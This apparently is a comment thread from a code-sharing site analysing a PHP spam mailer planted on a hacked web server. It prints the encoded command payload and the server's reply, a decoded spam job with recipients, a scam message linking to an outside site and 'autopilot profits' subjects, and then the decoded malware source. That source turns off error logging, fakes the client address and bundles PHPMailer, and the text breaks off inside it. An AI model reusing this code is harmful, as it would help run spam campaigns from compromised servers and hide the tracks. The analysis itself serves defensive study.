> ZFW1xeM1FZTxkEXgUOAEtXChReVFtQNzw8RjMedyMEVl4bUDwnNz8HUDVEHQctIRlSRVoVTFgCJQRJ
> VhpiCRsxK1ZUWF8hUQltSV4SSF1VQwwTDlsZRUIDAAkGGxoGHQMRbxsAAR8CDB8BBRpAFh9LVB1JBQ
> 0UUiI6XjMLIhwYEz4ABQMmPztmVgBrFFpEQFkEPVE4AEVDVxJKXT0CIEdIXFxEW1lWAxoAQgMBbgkJ
> GAkOQwoNWxUYX1VCVEcOEwY2aDgSRywOKSMkDTEKKQ9OISIBPiRDS0YySCUzJ09dU0oEfF4zSksVW1
> 9aVltCHg4EXBwAHUMCAW4dBFsLAAQFQhobH0deXElaREhBHD5FJCUpWxVbHi81Q1JdKgMeP1wvGV4p
> dAANFQYiMRsbURoITQJ7Wyo5OUpLSUtXLV8wTU4BWVdHFUQfARAcWAsBBlFcWgkoCQcJAgZCGkFFEA
> pQVRZDHVdVDEZWaAVVJTk9DQ0EDFxjOQgNN0VdGntbR1ZWUltWXDsLRG1SUwNcUFRTTgpPBwwMCw8X
> HG4aDkYaBAEFDgBLVwpORlZfDUs%2BAkdSCzR8FjcgMUEtCRoWfn5GJ1UyUxQ1LEpBRz9YVRo4Q0sX
> USdeSCgNXRJXW1xDVhABDloVDDUaDBEeTg8ZQAAbRxoFUQ1HFEVZSkQLH1Q4SGwbByVFOy8dazctHE
> QfGQMMWhEpEzMoMzEXNAIxKkVdGntbQSNVUltWXE5%2BRG1SUwNcUl9TTh1PBQwEHg8WEUcNCFoaBR
> 5UUi0BAw0ZEwwJARAAWwcIR0hcXEFYWVZaOxchcVAWIwYCNzgmHTtEFyoPKTYgXC5XKyp3OzMJXgg5
> VC44HlRXXB07H0gxQV4AFVRNVEEWGwAKFFdGcRoHGAgSGAcNOUYEEQwTBwlXTQwCDE4YFVJTV0tbCU
> YAXRISIDwvB1QMB04CEyNaRTMkHAIAbAhIASRbUgwCSksXWS0RTy1HQl1ZXRtPSVgHDxkICxYbFhIK
> QhIBRjIECBJGClsNDBlLVB1JBQAUUltGNjMlECspaj4IMU8dLgsYGkkWHD8SUjQjT15ARjpYFWxRVA
> ZIUlBJDQUHDxkNAQAuH19CS14LEURaHlNYSBRJV1krX1w%2FYi0HSSZYG1cbJQJRCwQfKBRXGklNGz
> dYNBwHU1xaSVsnHjAUD11KWkFcQx4IABxdDxUhGgERFE8KAwAWBAETCk9SH0NARF9HGhwqEQQGAQpl
> DjYBVgU5AQE%2FAwJMQVUVFlQAHyIvCFMMNU9dMikIUVYcPRsSJUNWGlZLQkhHFUcaAxcTEQEARwcC
> LgsbHQIPGloaTR9GBQ1DVhpWShhRRwJAGzUxSSEZZiITfFs3GRM4TCRGQ11GJ1JMAjJDQRZUPR5eN0
> tUHUkEBhRSBRkSAgVHBAxaGAoPMgkIGEcPQU0aBg1dEldcX0NWRiMSHDE4NxsQARdVFiU%2BDhddIx
> hHU1t9TRpCVBUjHiY6SBoTMFRWDC0TJgl4U1kWVFwlGS9bTwFfVh5JTRETFQwXTRQaDwcDCBZfSg4C
> bhgHBAsABAVCGkFFEApQVRZDGlVVDE06YwRXHBgFPUNPKDIcMVwwKlYgIWJfPw8SISg2DFUOXXpNKx
> g8R19UVUtmGyZDSR1fSxhZTV0UBl8HGAMMXhJDMgIKQBQDEB8CDB8BBRoDQU8aVVpGDBYcRiBHUzRV
> WyIgHFwvLEoPFS5FXgRIRgMdJSYLKEpBHSZYV3gYSUdPWlc7XyVXVRBOW1tUUUZbXAQEEQgFWlwsEU
> EfCAAbAksaQU0aRVdQXFxVXVNODEUGEh9GODgeBCFRNWVTTFMzAl8nHjcAEhYZPE0gOV5PXkAcI1gR
> MUxeChRSVhRXBlwCEQZbXElBMhwERxwAWxEMCFEUFU9bU05LIiA5DlJ%2FPhsePxleEzghez9QBxoc
> Mw4TWyhNQSx4N1IjGUpBHSZYLUEeSUdLUVg7XyVXVRBOWl5UUVtVXBscHwsVHwgaEF0IDQgRBSUATw
> sAQVsIQAtPDBxOQgdIVlwVUVoPNBQTPxgyJD1SLipWKQJbekZNLipRR1UAOERqXhJHQFdXMRMTLAxO
> GBVUU1dLDhYWHgoHQxIYFzILCgdCBxwCTRcGAkxIS0cUQVJSAENWCFZLFBAMW0JVFkMaWlUMVy5bDg
> ADSS0XABoKC1ZRT0kXFw0SQTkUABccBgEXM1pbWBUaAwMGChsDFUJFBg4fUEdCR1leFQZRG1BbT0s%
> 2FGBkHAAkPJwoHABpHUxMVFAMWEQUwGhZERlcwBB8QBB0aFRpGAgYSXA0KFBBBVFMGUR1cQwwCTkIH
> SFZTFVENTEtVVxcWU1gLBUFeQloQDgEDEVFHVUwJClwaGQ5XV0oKBE8MWBwUR1ENChVPUgVDRUkWXx
> 5JTRlQWBZJHV5AVEFIARsDHwg%2BEhIHFB9fZy4DFkpLKwQFHURFTBFRJEkJXVhrJEkEGAIXRQ9aAB
> tVBAYXGkkPEApDAAEOGlNCXEcDSAMJBxkeDQtLSxYVGwIJWUYCGUtVDkYBCRlJDQ8VGwkETR8KVQET
> CgdcR0kMEUpjUwwBCD53Hx1QDgAbDEwYDhsAEwEBCxhCQwZAAwJbBxUEBgJFFgBbbxMRHUt4XwRTRx
> QQCF5WARsaAwwbARIJAw4AHwQIV00ECE4VAgobTw9BXh0bEB0AEQsQGggWGQBTFRMSDgsZGlMMCQUf
> GBRSVkEQb2gkLTkqPE9XLxVPAghBCwEQCw4FHUsQS0wJERRJBBwGF1lKTk1BSRARW3kTSRcBBw1XZV
> JcXkBDHFZSXRJXWFZbXUleAEhcXwJHWV8VBlEcX1tPKC8tPSQkMWpTFhoHEUVXHlRZXlNESQILHlRR
> XAMAGRZBBAcfEEoOR1obVFRCXVlbFk9JaQ8THh1MHAIXF0VHEgERAU4DAUoDVUYCAR0AHhpaW1pZSA
> AUDgsAGAoOGBwSBgsIWxUeEg%3D%3D

Response

< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 04 Jun 2016 11:13:40 GMT
< Content-Type: text/html
< Connection: close
< Vary: Accept-Encoding
< X-Powered-By: PHP/5.4.43
<
< a:1:{s:1:"r";a:4:{s:1:"t";i:1;s:1:"e";i:0;s:1:"g";i:30;s:1:"b";i:0;}}

@fidian
Copy link

fidian commented Jul 1, 2016

TCP dump's payload:

Array
(
    [e] => Array
        (
            [6xebe5wmznD=PsBtYZnyfQGBFtqMeUNKVM&8iT=GuM&29=2HpC] => [email protected]
            [tygPSzsCNu=SrPeXiK8A&8iT=LJ6&292H=pC] => [email protected]
            [2oFF3ueMT6CPJ=L6g6&8iT=2fr&29=2HpC] => [email protected]
            [6khb4C=JGPWKmJns9E5YfeBmcba&8iT=74s&29=2HpC] => [email protected]
            [j=jmXqJ5Db7bQWBuicZLhCGg&8iT=6qP&2=92HpC] => [email protected]
            [Cpd=LWcuXEmbJEaCsfJUpvh&8iT=DwJ&2=92HpC] => [email protected]
            [fJ1c=dEzMBNPeVpy&8iT=JaM&29=2HpC] => [email protected]
            [2gLnfhLt7pSXH1qz=KgMrDB4hiZnG&8iT=HsP&292=HpC] => [email protected]
            [6yp2KFV7va8LCk6wP4hi=bpsYvAt&8iT=8e&292=HpC] => [email protected]
            [3UcN=5EtK1vB7yVvfg2tjVrySVEFGx&8iT=5hU&292H=pC] => [email protected]
            [4wJxV2Tv7EA=HbdcHTyYzd7c6j&8iT=79E&292Hp=C] => [email protected]
            [YYEhPqYVoy8z=UKNKu5PknhXSz76us96aQm&8iT=5AC&292H=pC] => [email protected]
            [JJ8RfKpa=UedqHZBH5oEa1k&8iT=At7&2=92HpC] => [email protected]
            [w=eYFMyhJoDJHtExLjaRMtLG&8iT=KPS&2=92HpC] => [email protected]
            [yMjBPG8a2qAFufsZknY=Bp2PZkhttLTb52u&8iT=KTP&2=92HpC] => [email protected]
            [3=Gc4HPQtyvi9LJgxE&8iT=285&292H=pC] => [email protected]
            [8Qw51nGSpBNR5DfteHJhW=B5uXE&8iT=4hV&292Hp=C] => [email protected]
            [jr=T1BpbD7UJdETB21t6em7xEjGZVT8GmDX&8iT=4M6&292=HpC] => [email protected]
            [3TyRGd8SnrQYKtW=9AjHDN9WyHEYNX&8iT=BAj&292Hp=C] => [email protected]
            [7p2r8w=SSZu7itadfM91ZKrq6X&8iT=3ak&292Hp=C] => [email protected]
            [36PRHyGPDUmP=sKr6y&8iT=4UN&292H=pC] => [email protected]
            [28Y19FLNhgS341zHk=rpmMqxi&8iT=G3a&29=2HpC] => [email protected]
            [5oEdvedyJhCo5qPnoL56b1=ep5mvNV&8iT=3WP&292Hp=C] => [email protected]
            [c2uPHgBvHWxS=VtzT5P4&8iT=9pQ&292Hp=C] => [email protected]
            [4Fw3BWBisddzpPPmc4Lv4eoS=r22tNwJCfqvQ&8iT=EfV&292=HpC] => [email protected]
            [8QLb6qqiD7=MW3B3EX5ERM9JaqUAYb&8iT=ChZ&2=92HpC] => [email protected]
            [26H75U82NY27JM8apWk=kf3h2CGfA&8iT=2Wk&2=92HpC] => [email protected]
            [u1twziKWkvB4FJ59=Pv6HpD6&8iT=FX3&292H=pC] => [email protected]
            [MNJ8fQNsnYx3zTXUT5fhrVw=8Gc4GWQ3Np&8iT=Hnm&292=HpC] => [email protected]
            [5zFwvL7TQS1ZC9GqmNh=FZ7&8iT=D5w&292H=pC] => [email protected]
        )

    [f] => Array
        (
            [0] => "Ethan Anthony" <[email protected]>
            [1] => "Samuel Terry" <[email protected]>
        )

    [ak] => b9962d95-ef57-4c85-a973-dc0c7e268da6
    [lt] => 1
    [l] => <html>
<body>
Good News!<br>
<br>
I have just verified that this software still have eight available spots!<br>
<br>
You have a personal invitation<br>
<br>
<a href="http://basharmd.com/global.php?{a|b|c|d|e|f|g|h|i|j|k|l}=82&[FTEIL]">Claim your free copy here</a>.<br>
</body>
</html>
    [s] => Array
        (
            [0] => ACTIVATE your $12,000 membership inside
            [1] => First ever hands-free (autopilot) profits system
        )

)

@fidian
Copy link

fidian commented Jul 1, 2016

Try #2 - the decoded PHP

<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(isset($_SERVER))
{
    $_SERVER['PHP_SELF'] = "/"; 
    $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
    }
}
if(isset($_FILES))
{
    foreach($_FILES as $key => $file)
    {
        if(!strpos($file['name'], ".jpg"))
        {
            $filename = alter_macros($file['name']);
            $filename = num_macros($filename);
            $filename = xnum_macros($filename);
            $_FILES[$key]["name"] = $filename;
        }
    }
}

function custom_strip_tags($text)
{
    $text = strip_tags($text, '<a>');
    $text = str_replace("<a href=\"", "[ ", $text);
    $text = str_replace("</a>", "", $text);
    $text = str_replace("\">", " ] ", $text);
    return $text;
}
function is_ip($str) {
  return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
    $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
    if (is_ip($host))
    {
        return $content;
    }

    $tokens = explode("@", $content);
    $content = $tokens[0] . "@" . $host . ">";
    return $content;
}
function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);
    for($i = 0; $i < count($matches[1]); $i++)
    {
        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
}

function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
    for($i = 0; $i < count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}
function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function fteil_macros($content, $fteil)
{    
    return str_replace("[FTEIL]", $fteil, $content);
}
class SMTP
{
    const VERSION = '5.2.10';
    const CRLF = "\r\n";
    const DEFAULT_SMTP_PORT = 25;
    const MAX_LINE_LENGTH = 998;
    const DEBUG_OFF = 0;
    const DEBUG_CLIENT = 1;
    const DEBUG_SERVER = 2;
    const DEBUG_CONNECTION = 3;
    const DEBUG_LOWLEVEL = 4;
    public $Version = '5.2.10';
    public $SMTP_PORT = 25;
    public $CRLF = "\r\n";
    public $do_debug = self::DEBUG_OFF;
    public $Debugoutput = 'echo';
    public $do_verp = false;
    public $Timeout = 300;
    public $Timelimit = 300;
    protected $smtp_conn;
    protected $error = array(
        'error' => '',
        'detail' => '',
        'smtp_code' => '',
        'smtp_code_ex' => ''
    );
    protected $helo_rply = null;
    protected $server_caps = null;
    protected $last_reply = '';
    protected function edebug($str, $level = 0)
    {
        if ($level > $this->do_debug) {
            return;
        }
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->do_debug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                error_log($str);
                break;
            case 'html':
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                )."\n";
        }
    }
    public function connect($host, $port = null, $timeout = 30, $options = array())
    {
        static $streamok;
        if (is_null($streamok)) {
            $streamok = function_exists('stream_socket_client');
        }
        $this->setError('');
        if ($this->connected()) {
            $this->setError('Already connected to a server');
            return false;
        }
        if (empty($port)) {
            $port = self::DEFAULT_SMTP_PORT;
        }
        $this->edebug(
            "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
            self::DEBUG_CONNECTION
        );
        $errno = 0;
        $errstr = '';
        if ($streamok) {
            $socket_context = stream_context_create($options);
            $this->smtp_conn = @stream_socket_client(
                $host . ":" . $port,
                $errno,
                $errstr,
                $timeout,
                STREAM_CLIENT_CONNECT,
                $socket_context
            );
        } else {
            $this->edebug(
                "Connection: stream_socket_client not available, falling back to fsockopen",
                self::DEBUG_CONNECTION
            );
            $this->smtp_conn = fsockopen(
                $host,
                $port,
                $errno,
                $errstr,
                $timeout
            );
        }
        if (!is_resource($this->smtp_conn)) {
            $this->setError(
                'Failed to connect to server',
                $errno,
                $errstr
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error']
                . ": $errstr ($errno)",
                self::DEBUG_CLIENT
            );
            return false;
        }
        $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
        if (substr(PHP_OS, 0, 3) != 'WIN') {
            $max = ini_get('max_execution_time');
            if ($max != 0 && $timeout > $max) {
                @set_time_limit($timeout);
            }
            stream_set_timeout($this->smtp_conn, $timeout, 0);
        }
        $announce = $this->get_lines();
        $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
        return true;
    }
    public function startTLS()
    {
        if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
            return false;
        }
        if (!stream_socket_enable_crypto(
            $this->smtp_conn,
            true,
            STREAM_CRYPTO_METHOD_TLS_CLIENT
        )) {
            return false;
        }
        return true;
    }
    public function authenticate(
        $username,
        $password,
        $authtype = null,
        $realm = '',
        $workstation = ''
    ) {
        if (!$this->server_caps) {
            $this->setError('Authentication is not allowed before HELO/EHLO');
            return false;
        }
        if (array_key_exists('EHLO', $this->server_caps)) {
            if (!array_key_exists('AUTH', $this->server_caps)) {
                $this->setError('Authentication is not allowed at this stage');
                return false;
            }
            self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
            self::edebug(
                'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
                self::DEBUG_LOWLEVEL
            );
            if (empty($authtype)) {
                foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
                    if (in_array($method, $this->server_caps['AUTH'])) {
                        $authtype = $method;
                        break;
                    }
                }
                if (empty($authtype)) {
                    $this->setError('No supported authentication methods found');
                    return false;
                }
                self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
            }
            if (!in_array($authtype, $this->server_caps['AUTH'])) {
                $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
                return false;
            }
        } elseif (empty($authtype)) {
            $authtype = 'LOGIN';
        }
        switch ($authtype) {
            case 'PLAIN':
                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand(
                    'User & Password',
                    base64_encode("\0" . $username . "\0" . $password),
                    235
                )
                ) {
                    return false;
                }
                break;
            case 'LOGIN':
                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand("Username", base64_encode($username), 334)) {
                    return false;
                }
                if (!$this->sendCommand("Password", base64_encode($password), 235)) {
                    return false;
                }
                break;
            case 'NTLM':
                require_once 'extras/ntlm_sasl_client.php';
                $temp = new stdClass;
                $ntlm_client = new ntlm_sasl_client_class;
                if (!$ntlm_client->Initialize($temp)) {
                    $this->setError($temp->error);
                    $this->edebug(
                        'You need to enable some modules in your php.ini file: '
                        . $this->error['error'],
                        self::DEBUG_CLIENT
                    );
                    return false;
                }
                $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
                if (!$this->sendCommand(
                    'AUTH NTLM',
                    'AUTH NTLM ' . base64_encode($msg1),
                    334
                )
                ) {
                    return false;
                }
                $challenge = substr($this->last_reply, 3);
                $challenge = b64d($challenge);
                $ntlm_res = $ntlm_client->NTLMResponse(
                    substr($challenge, 24, 8),
                    $password
                );
                $msg3 = $ntlm_client->TypeMsg3(
                    $ntlm_res,
                    $username,
                    $realm,
                    $workstation
                );
                return $this->sendCommand('Username', base64_encode($msg3), 235);
            case 'CRAM-MD5':
                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
                    return false;
                }
                $challenge = b64d(substr($this->last_reply, 4));
                $response = $username . ' ' . $this->hmac($challenge, $password);
                return $this->sendCommand('Username', base64_encode($response), 235);
            default:
                $this->setError("Authentication method \"$authtype\" is not supported");
                return false;
        }
        return true;
    }
    protected function hmac($data, $key)
    {
        if (function_exists('hash_hmac')) {
            return hash_hmac('md5', $data, $key);
        }
        $bytelen = 64; // byte length for md5
        if (strlen($key) > $bytelen) {
            $key = pack('H*', md5($key));
        }
        $key = str_pad($key, $bytelen, chr(0x00));
        $ipad = str_pad('', $bytelen, chr(0x36));
        $opad = str_pad('', $bytelen, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;
        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
    }
    public function connected()
    {
        if (is_resource($this->smtp_conn)) {
            $sock_status = stream_get_meta_data($this->smtp_conn);
            if ($sock_status['eof']) {
                $this->edebug(
                    'SMTP NOTICE: EOF caught while checking if connected',
                    self::DEBUG_CLIENT
                );
                $this->close();
                return false;
            }
            return true; // everything looks good
        }
        return false;
    }
    public function close()
    {
        $this->setError('');
        $this->server_caps = null;
        $this->helo_rply = null;
        if (is_resource($this->smtp_conn)) {
            fclose($this->smtp_conn);
            $this->smtp_conn = null; //Makes for cleaner serialization
            $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
        }
    }
    public function data($msg_data)
    {
        if (!$this->sendCommand('DATA', 'DATA', 354)) {
            return false;
        }
        $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
        $field = substr($lines[0], 0, strpos($lines[0], ':'));
        $in_headers = false;
        if (!empty($field) && strpos($field, ' ') === false) {
            $in_headers = true;
        }
        foreach ($lines as $line) {
            $lines_out = array();
            if ($in_headers and $line == '') {
                $in_headers = false;
            }
            while (isset($line[self::MAX_LINE_LENGTH])) {
                $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
                if (!$pos) {
                    $pos = self::MAX_LINE_LENGTH - 1;
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos);
                } else {
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos + 1);
                }
                if ($in_headers) {
                    $line = "\t" . $line;
                }
            }
            $lines_out[] = $line;
            foreach ($lines_out as $line_out) {
                if (!empty($line_out) and $line_out[0] == '.') {
                    $line_out = '.' . $line_out;
                }
                $this->client_send($line_out . self::CRLF);
            }
        }
        $savetimelimit = $this->Timelimit;
        $this->Timelimit = $this->Timelimit * 2;
        $result = $this->sendCommand('DATA END', '.', 250);
        $this->Timelimit = $savetimelimit;
        return $result;
    }
    public function hello($host = '')
    {
        return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
    }
    protected function sendHello($hello, $host)
    {
        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
        $this->helo_rply = $this->last_reply;
        if ($noerror) {
            $this->parseHelloFields($hello);
        } else {
            $this->server_caps = null;
        }
        return $noerror;
    }
    protected function parseHelloFields($type)
    {
        $this->server_caps = array();
        $lines = explode("\n", $this->last_reply);
        foreach ($lines as $n => $s) {
            $s = trim(substr($s, 4));
            if (!$s) {
                continue;
            }
            $fields = explode(' ', $s);
            if (!empty($fields)) {
                if (!$n) {
                    $name = $type;
                    $fields = $fields[0];
                } else {
                    $name = array_shift($fields);
                    if ($name == 'SIZE') {
                        $fields = ($fields) ? $fields[0] : 0;
                    }
                }
                $this->server_caps[$name] = ($fields ? $fields : true);
            }
        }
    }
    public function mail($from)
    {
        $useVerp = ($this->do_verp ? ' XVERP' : '');
        return $this->sendCommand(
            'MAIL FROM',
            'MAIL FROM:<' . $from . '>' . $useVerp,
            250
        );
    }
    public function quit($close_on_error = true)
    {
        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
        $err = $this->error; //Save any error
        if ($noerror or $close_on_error) {
            $this->close();
            $this->error = $err; //Restore any error from the quit command
        }
        return $noerror;
    }
    public function recipient($toaddr)
    {
        return $this->sendCommand(
            'RCPT TO',
            'RCPT TO:<' . $toaddr . '>',
            array(250, 251)
        );
    }
    public function reset()
    {
        return $this->sendCommand('RSET', 'RSET', 250);
    }
    protected function sendCommand($command, $commandstring, $expect)
    {
        if (!$this->connected()) {
            $this->setError("Called $command without being connected");
            return false;
        }
        $this->client_send($commandstring . self::CRLF);
        $this->last_reply = $this->get_lines();
        $matches = array();
        if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
            $code = $matches[1];
            $code_ex = (count($matches) > 2 ? $matches[2] : null);
            $detail = preg_replace(
                "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
                '',
                $this->last_reply
            );
        } else {
            $code = substr($this->last_reply, 0, 3);
            $code_ex = null;
            $detail = substr($this->last_reply, 4);
        }
        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
        if (!in_array($code, (array)$expect)) {
            $this->setError(
                "$command command failed",
                $detail,
                $code,
                $code_ex
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
                self::DEBUG_CLIENT
            );
            return false;
        }
        $this->setError('');
        return true;
    }
    public function sendAndMail($from)
    {
        return $this->sendCommand('SAML', "SAML FROM:$from", 250);
    }
    public function verify($name)
    {
        return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
    }
    public function noop()
    {
        return $this->sendCommand('NOOP', 'NOOP', 250);
    }
    public function turn()
    {
        $this->setError('The SMTP TURN command is not implemented');
        $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
        return false;
    }
    public function client_send($data)
    {
        $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
        return fwrite($this->smtp_conn, $data);
    }
    public function getError()
    {
        return $this->error;
    }
    public function getServerExtList()
    {
        return $this->server_caps;
    }
    public function getServerExt($name)
    {
        if (!$this->server_caps) {
            $this->setError('No HELO/EHLO was sent');
            return null;
        }
        // the tight logic knot ;)
        if (!array_key_exists($name, $this->server_caps)) {
            if ($name == 'HELO') {
                return $this->server_caps['EHLO'];
            }
            if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
                return false;
            }
            $this->setError('HELO handshake was used. Client knows nothing about server extensions');
            return null;
        }
        return $this->server_caps[$name];
    }
    public function getLastReply()
    {
        return $this->last_reply;
    }
    protected function get_lines()
    {
        if (!is_resource($this->smtp_conn)) {
            return '';
        }
        $data = '';
        $endtime = 0;
        stream_set_timeout($this->smtp_conn, $this->Timeout);
        if ($this->Timelimit > 0) {
            $endtime = time() + $this->Timelimit;
        }
        while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
            $str = @fgets($this->smtp_conn, 515);
            $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
            $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
            $data .= $str;
            $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
            if ((isset($str[3]) and $str[3] == ' ')) {
                break;
            }
            $info = stream_get_meta_data($this->smtp_conn);
            if ($info['timed_out']) {
                $this->edebug(
                    'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
            if ($endtime and time() > $endtime) {
                $this->edebug(
                    'SMTP -> get_lines(): timelimit reached ('.
                    $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
        }
        return $data;
    }
    public function setVerp($enabled = false)
    {
        $this->do_verp = $enabled;
    }
    public function getVerp()
    {
        return $this->do_verp;
    }
    protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
    {
        $this->error = array(
            'error' => $message,
            'detail' => $detail,
            'smtp_code' => $smtp_code,
            'smtp_code_ex' => $smtp_code_ex
        );
    }
    public function setDebugOutput($method = 'echo')
    {
        $this->Debugoutput = $method;
    }
    public function getDebugOutput()
    {
        return $this->Debugoutput;
    }
    public function setDebugLevel($level = 0)
    {
        $this->do_debug = $level;
    }
    public function getDebugLevel()
    {
        return $this->do_debug;
    }
    public function setTimeout($timeout = 0)
    {
        $this->Timeout = $timeout;
    }
    public function getTimeout()
    {
        return $this->Timeout;
    }
}
class PHPMailer
{
    public $Version = '5.2.9';
    public $Priority = 3;
    public $CharSet = 'iso-8859-1';
    public $ContentType = 'text/plain';
    public $Encoding = '8bit';
    public $ErrorInfo = '';
    public $From = 'root@localhost';
    public $FromName = 'Root User';
    public $Sender = '';
    public $ReturnPath = '';
    public $Subject = '';
    public $Body = '';
    public $AltBody = '';
    public $Ical = '';
    protected $MIMEBody = '';
    protected $MIMEHeader = '';
    protected $mailHeader = '';
    public $WordWrap = 0;
    public $Mailer = 'mail';
    public $Sendmail = '/usr/sbin/sendmail';
    public $UseSendmailOptions = true;
    public $PluginDir = '';
    public $ConfirmReadingTo = '';
    public $Hostname = '';
    public $MessageID = '';
    public $MessageDate = '';
    public $Host = 'localhost';
    public $Port = 25;
    public $Helo = '';
    public $SMTPSecure = '';
    public $SMTPAuth = false;
    public $Username = '';
    public $Password = '';
    public $AuthType = '';
    public $Realm = '';
    public $Workstation = '';
    public $Timeout = 300;
    public $SMTPDebug = 0;
    public $Debugoutput = 'echo';
    public $SMTPKeepAlive = false;
    public $SingleTo = false;
    public $SingleToArray = array();
    public $do_verp = false;
    public $AllowEmpty = false;
    public $LE = "\n";
    public $DKIM_selector = '';
    public $DKIM_identity = '';
    public $DKIM_passphrase = '';
    public $DKIM_domain = '';
    public $DKIM_private = '';
    public $action_function = '';
    public $XMailer = '';
    protected $smtp = null;
    protected $to = array();
    protected $cc = array();
    protected $bcc = array();
    protected $ReplyTo = array();
    protected $all_recipients = array();
    protected $attachment = array();
    protected $CustomHeader = array();
    protected $lastMessageID = '';
    protected $message_type = '';
    protected $boundary = array();
    protected $language = array();
    protected $error_count = 0;
    protected $sign_cert_file = '';
    protected $sign_key_file = '';
    protected $sign_key_pass = '';
    protected $exceptions = false;
    const STOP_MESSAGE = 0;
    const STOP_CONTINUE = 1;
    const STOP_CRITICAL = 2;
    const CRLF = "\r\n";
    public function __construct($exceptions = false)
    {
        $this->exceptions = (boolean)$exceptions;
    }
    public function __destruct()
    {
    }
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }
        if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
